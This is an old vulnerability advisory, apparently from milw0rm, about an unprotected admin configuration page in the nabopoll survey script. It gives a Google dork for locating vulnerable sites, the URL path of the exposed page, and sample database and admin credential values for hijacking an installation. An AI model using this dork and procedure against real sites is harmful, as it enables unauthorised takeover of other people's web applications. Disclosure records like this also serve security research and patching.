Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

CodeAvalanche News SQL Injection

nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability

ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities

From:	Cr@zy_King <crazy_king_(at)_turkusev.com>
Date:	15.02.2007
Subject:	nabopoll 1.2 Remote Unprotected Admin Section Vulnerability

By Cr@zy_King

crazy_king@eno7.org

Thakns : ApAci & Erne & Uyussman & Eno7 & Thehacker & Crackers_Child

Script : nabopoll 1.1.2

Risk : Remote Add Admin Exploit |High

Site : http://nabocorp.com/

Google Dork : inurl:"nabopoll/"

Exploit : http://target.com/nabopoll/admin/config_edit.php

Mysql Config

For Example : http://www.xxx.com/part2/nabopoll/admin/config_edit.php

Server : localhost

Login : faisy (Admin Name)

Password : h4x0r3dbyr00t ( Admin PAss)

Database : nabopoll.sql

Crazy-King.oRg & Eno7.Org

----Her .ey Vatan .�in----

# milw0rm.com [2007-02-13]